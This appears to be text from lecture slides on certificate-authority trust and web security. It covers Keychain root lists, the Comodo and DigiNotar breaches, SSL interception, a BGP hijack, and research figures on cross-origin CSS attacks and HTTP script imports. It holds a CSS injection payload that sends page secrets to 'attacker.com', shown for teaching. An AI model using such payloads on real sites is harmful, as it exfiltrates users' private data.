
Keychain Access
Click to lock the System Roots keychain.
Keychains
login
Micr...ertificates
System
System Roots
Category
All Items
Passwords
Secure Notes
My Certificates
Keys
Certificates
A-Trust-Qual-02
Root certificate authority
Expires: Tuesday, December 2, 2014 3:00:00 PM PT
This certificate is valid
Name
Kind
Expires
Keychain
A-CERT ADVANCED certificate Oct 23, 2011 7:14:14 AM System Roots
A-Trust-nQual-01 certificate Nov 30, 2014 3:00:00 PM System Roots
A-Trust-nQual-03 certificate Aug 17, 2015 3:00:00 PM System Roots
A-Trust-Qual-01 certificate Nov 30, 2014 3:00:00 PM System Roots
A-Trust-Qual-02 certificate Dec 2, 2014 3:00:00 PM System Roots
AAA Certificate Services certificate Dec 31, 2028 3:59:59 PM System Roots
AC Raíz Certicámara S.A. certificate Apr 2, 2030 2:42:02 PM System Roots
AddTrust Class 1 CA Root certificate May 30, 2020 3:38:31 AM System Roots
AddTrust External CA Root certificate May 30, 2020 3:48:38 AM System Roots
AddTrust Public CA Root certificate May 30, 2020 3:41:50 AM System Roots
AddTrust Qualified CA Root certificate May 30, 2020 3:44:50 AM System Roots
Admin-Root-CA certificate Nov 9, 2021 11:51:07 PM System Roots
AdminCA-CD-T01 certificate Jan 25, 2016 4:36:19 AM System Roots
AffirmTrust Commercial certificate Dec 31, 2030 6:06:06 AM System Roots
AffirmTrust Networking certificate Dec 31, 2030 6:08:24 AM System Roots
AffirmTrust Premium certificate Dec 31, 2040 6:10:36 AM System Roots
AffirmTrust Premium ECC certificate Dec 31, 2040 6:20:24 AM System Roots
America Onli...ation Authority 1 certificate Nov 19, 2037 12:43:00 PM System Roots
America Onli...ation Authority 2 certificate Sep 29, 2037 7:08:00 AM System Roots
AOL Time W...cation Authority 1 certificate Nov 20, 2037 7:03:00 AM System Roots
AOL Time W...cation Authority 2 certificate Sep 28, 2037 4:43:00 PM System Roots
Apple Root CA certificate Feb 9, 2035 1:40:36 PM System Roots
Apple Root Certificate Authority certificate Feb 9, 2025 4:18:14 PM System Roots
Application CA G2 certificate Mar 31, 2016 7:59:59 AM System Roots
ApplicationCA certificate Dec 12, 2017 7:00:00 AM System Roots
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News

Solo Iranian hacker takes credit for Comodo certificate attack

Security researchers split on whether 'ComodoHacker' is the real deal

By Gregg Keizer

March 27, 2011 08:39 PM ET

Computerworld - A solo Iranian hacker on Saturday claimed responsibility for stealing multiple SSL certificates belonging to some of the Web's biggest sites, including Google, Microsoft, Skype and Yahoo.

Early reaction from security experts was mixed, with some believing the hacker's claim, while others were dubious.

Last week, conjecture had focused on a state-sponsored attack, perhaps funded or conducted by the Iranian government, that hacked a certificate reseller affiliated with U.S.-based Comodo.

On March 23, Comodo acknowledged the attack, saying that eight days earlier, hackers had obtained nine bogus certificates for the log-on sites of Microsoft's Hotmail, Google's Gmail, the Internet phone and chat service Skype and Yahoo Mail. A certificate for Mozilla's Firefox add-on site was also acquired.



The Dutch government has revoked all trust in digital certificates issued by DigiNotar

The Dutch government says hackers who broke into a web security firm in the Netherlands last month issued hundreds of bogus security certificates that could be used on websites including the CIA and Israel's Mossad, as well as internet giants such as Google, Microsoft and Twitter.

More than 500 fake certificates, including some which could be used to send fake Windows updates to computers, and others which could be used when connecting to the CIA's site, were fraudulently issued in the hack, which occurred in July.

The Dutch government took the exceptional step of calling a press conference at 1.15am on Saturday morning to announce that it was revoking all trust in digital certificates issued by DigiNotar, which until then had been used for all online tax returns filed in the Netherlands.

Law Enforcement Appliance Subverts SSL

By Ryan Singel ✉ March 24, 2010 | 1:55 pm | Categories: Surveillance, Threats

That little lock on your browser window indicating you are communicating securely with your bank or e-mail account may not always mean what you think its means.

Normally when a user visits a secure website, such as Bank of America, Gmail, PayPal or eBay, the browser examines the website's certificate to verify its authenticity.

At a recent wiretapping convention, however, security researcher Chris Soghoian discovered that a small company was marketing internet spying boxes to the feds. The boxes were designed to intercept those communications — without breaking the encryption — by using forged security certificates, instead of the real ones that websites use to verify secure connections. To use the appliance, the government would need to acquire a forged certificate from any one of more than 100 trusted Certificate Authorities.

The main take-away from the above graph is that ATLAS data shows **no statistically significant increase** for either AS4134 or AS23724. While we did observe modest changes in traffic volumes for carriers within China, the BGP hijack had limited impact on traffic volumes to or from the rest of the world.

As a couple readers of my blog observed (link to comments), traffic volumes provide an awkward measure of the security implications of a BGP hijack. In particular, the volume of hijacked traffic change depends on:

If the intent was to hijack traffic for a small set of sensitive US government machines, then we might see TCP connections diverted for only a few machines in a man-in-the-middle attack, relatively low volumes of diverted traffic, and thousands of bogus routes announced as a smokescreen (credit for this scenario to my colleague Danny McPherson in a NYTimes interview). In other words, basically close to what we observed on April 15th.

Or maybe, of course, this was just a typo in a configuration file.


Keychain Access
Click to lock the System Roots keychain.
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System
System Roots
Category
All Items
Passwords
Secure Notes
My Certificates
Keys
Certificates
CNNIC ROOT
Root certificate authority
Expires: Friday, April 16, 2027 12:09:14 AM PT
This certificate is valid
Name
Kind
Expires
Keychain
Class 1 Publi...fication Authority certificate Aug 2, 2028 4:59:59 PM System Roots
Class 1 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
Class 2 Primary CA certificate Jul 6, 2019 4:59:59 PM System Roots
Class 2 Publi...fication Authority certificate Aug 1, 2028 4:59:59 PM System Roots
Class 2 Publi...fication Authority certificate Aug 2, 2028 4:59:59 PM System Roots
Class 2 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
Class 3 Publi...fication Authority certificate Aug 1, 2028 4:59:59 PM System Roots
Class 3 Publi...fication Authority certificate Aug 2, 2028 4:59:59 PM System Roots
Class 3 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
Class 4 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
CNNIC ROOT certificate Apr 16, 2027 12:09:14 AM System Roots
Common Policy certificate Oct 15, 2027 9:08:00 AM System Roots
COMODO Certification Authority certificate Dec 31, 2029 3:59:59 PM System Roots
Deutsche Telekom Root CA 2 certificate Jul 9, 2019 4:59:00 PM System Roots
DigiCert Assured ID Root CA certificate Nov 9, 2031 4:00:00 PM System Roots
DigiCert Global Root CA certificate Nov 9, 2031 4:00:00 PM System Roots
DigiCert Hig...rance EV Root CA certificate Nov 9, 2031 4:00:00 PM System Roots
DigiNotar Root CA certificate Mar 31, 2025 11:19:21 AM System Roots
DoD CLASS 3 Root CA certificate May 14, 2020 6:13:00 AM System Roots
Copy
167 items


Keychain Access
Click to lock the System Roots keychain.
Keychains
login
Micr...ertificates
System
System Roots
Category
All Items
Passwords
Secure Notes
My Certificates
Keys
Certificates
CNNIC ROOT
Root certificate authority
Expires: Friday, April 16, 2027 12:09:14 AM PT
This certificate is marked as not trusted for all users
Name
Kind
Expires
Keychain
Class 1 Publi...fication Authority certificate Aug 2, 2028 4:59:59 PM System Roots
Class 1 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
Class 2 Primary CA certificate Jul 6, 2019 4:59:59 PM System Roots
Class 2 Publi...fication Authority certificate Aug 1, 2028 4:59:59 PM System Roots
Class 2 Publi...fication Authority certificate Aug 2, 2028 4:59:59 PM System Roots
Class 2 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
Class 3 Publi...fication Authority certificate Aug 1, 2028 4:59:59 PM System Roots
Class 3 Publi...fication Authority certificate Aug 2, 2028 4:59:59 PM System Roots
Class 3 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
Class 4 Publi...on Authority - G2 certificate Aug 1, 2028 4:59:59 PM System Roots
CNNIC ROOT certificate Apr 16, 2027 12:09:14 AM System Roots
Common Policy certificate Oct 15, 2027 9:08:00 AM System Roots
COMODO Certification Authority certificate Dec 31, 2029 3:59:59 PM System Roots
Deutsche Telekom Root CA 2 certificate Jul 9, 2019 4:59:00 PM System Roots
DigiCert Assured ID Root CA certificate Nov 9, 2031 4:00:00 PM System Roots
DigiCert Global Root CA certificate Nov 9, 2031 4:00:00 PM System Roots
DigiCert Hig...rance EV Root CA certificate Nov 9, 2031 4:00:00 PM System Roots
DigiNotar Root CA certificate Mar 31, 2025 11:19:21 AM System Roots
DoD CLASS 3 Root CA certificate May 14, 2020 6:13:00 AM System Roots
Copy
167 items

Security Warning: Do you trust the Russian government?

Firefox has detected that your connection to this website is probably not secure. If you are attempting to access or transmit sensitive data, you should **stop** this task, and try again using a **different Internet connection**.

Firefox has detected a potential security problem while trying to access www.bankofamerica.com, a website visited at least 131 times in the past by persons using this computer.

In these previous browsing sessions, www.bankofamerica.com provided a security certificiate verified by a company in the **United States**.

However, this website is now presenting a different security certificate verified by a company based in **Russia**.

If you do not trust the government of Russia with your private data, or think it unlikely that Bank of America would obtain a security certificate from a company based there, this could be a sign that someone is attempting to intercept your secure communications.

Click here to learn more about security certificiates and this potentially risky situation.

If you trust the government of Russia and companies located there to protect your privacy and security, click here to accept this new certificate and continue with your visit to the site.

Get me out of here!

HTML document; secret data is highlighted.

Attacker injects CSS leader and trailer around secret.

CSS parser skips most of the document, loads secret as a valid style rule.

Figure 1: Example of a Cross-Origin CSS Attack

```
{}#f{background:url('http://attacker.com/?
```


Delete
Reply
Forward
Spam
FROM
SUBJECT
XYZ
{}body{background-image:url('
Facebook
Friend Confirmation
TurboTax
Your tax id
Amazon.com
Order Confirmation
Christina
Directions to your place?
ABC
');}
Bryan
Hi!
Matt
Tickets?
John
Dinner tonight?
Amy
Project meeting times

Gene Pang

Table V
VULNERABLE FILE-TYPE PAIRS IN CLAMAV

Real type	**Fake type**	**Real type**	**Fake type**
POSIX TAR	mirc.ini	ELF	POSIX TAR
PNG	POSIX TAR	ELF	JPEG
GIF	JPEG	ELF	SIS
BMP	JPEG	MPEG	POSIX TAR
MP3	POSIX TAR	JPEG	POSIX TAR
PNG	JPEG	BMP	JPEG



Figure 2. A crafted TAR archive with the modified length field in the first header.

Table I. HTTPS domains that are compromised because HPIHSL pages import HTTP scripts or style-sheets

Compromised HTTPS domain (the domain names are obfuscated)	**The HPIHSL page that imports scripts or CSS**	**Domain and path of the HTTP script or CSS imported by the HPIHSL page**
https://www.j-store.com The checkout service is in this domain	The "men's shoes" page in *www.j-store.com*	*http://switch.atdmt.com/jaction/*
https://www.OnlineServiceX.com The checkout service is in this domain	The account help page at *www.OnlineServiceX.com/support/account*	*http://www.OnlineServiceX.com/support/ accounts/ bin/resource/*
https://www.s-store.com The checkout service is in this domain	The "Appliances" page in *www.s-store .com*	*http://content.s-store.com/js/*
https://www.CertificateAuthorityX.com A leading certificate authority	The "repository" page in *www. CertificateAuthorityX.com* imports a CSS	*http://www.CertificateAuthorityX.com /css/*
https://www.eCommerceX.com The checkout and user profiles are in this domain	The homepage of *www. eCommerceX.com*	*http://images.eCommerceX .com/media/*
https://www.sb-store.com The checkout service is in this domain	The "Furniture" page in *www.sb-store.com*	*http://graphics.sb-store.com/images/*
https://www.CreditCardX.com A credit card company	The homepage of *www.CreditCardX.com*	*http://switch.atdmt.com/jaction/COF_Homepage/v3/*
https://www.b-bank.com A bank in the Midwest	The page *www.b-bank.com/ford.asp*	*http://www.google-analytics.com/*
https://CodeRepositoryX.net, Open source projects management system. User logins are in this domain.	The homepage of *CodeRepositoryX.net*	*http://pagead2.googlesyndication.com/*
https://uboc.MortgageCompanyX.com A California mortgage company	The homepage of *uboc.MortgageCompanyX .com*	*http://uboc.MortgageCompanyX.com/Include /Utilities/ClientSide/*
https://cs.University1.edu, the department's login system is in this domain	The homepage of *cs.University1.edu*	*http://tags.University1.edu/*
https://www.eecs.University2.edu	A student's homepage *www.eecs. University2.edu/~axxxxx*	*http://codice.shinystat.com/cgi-bin/*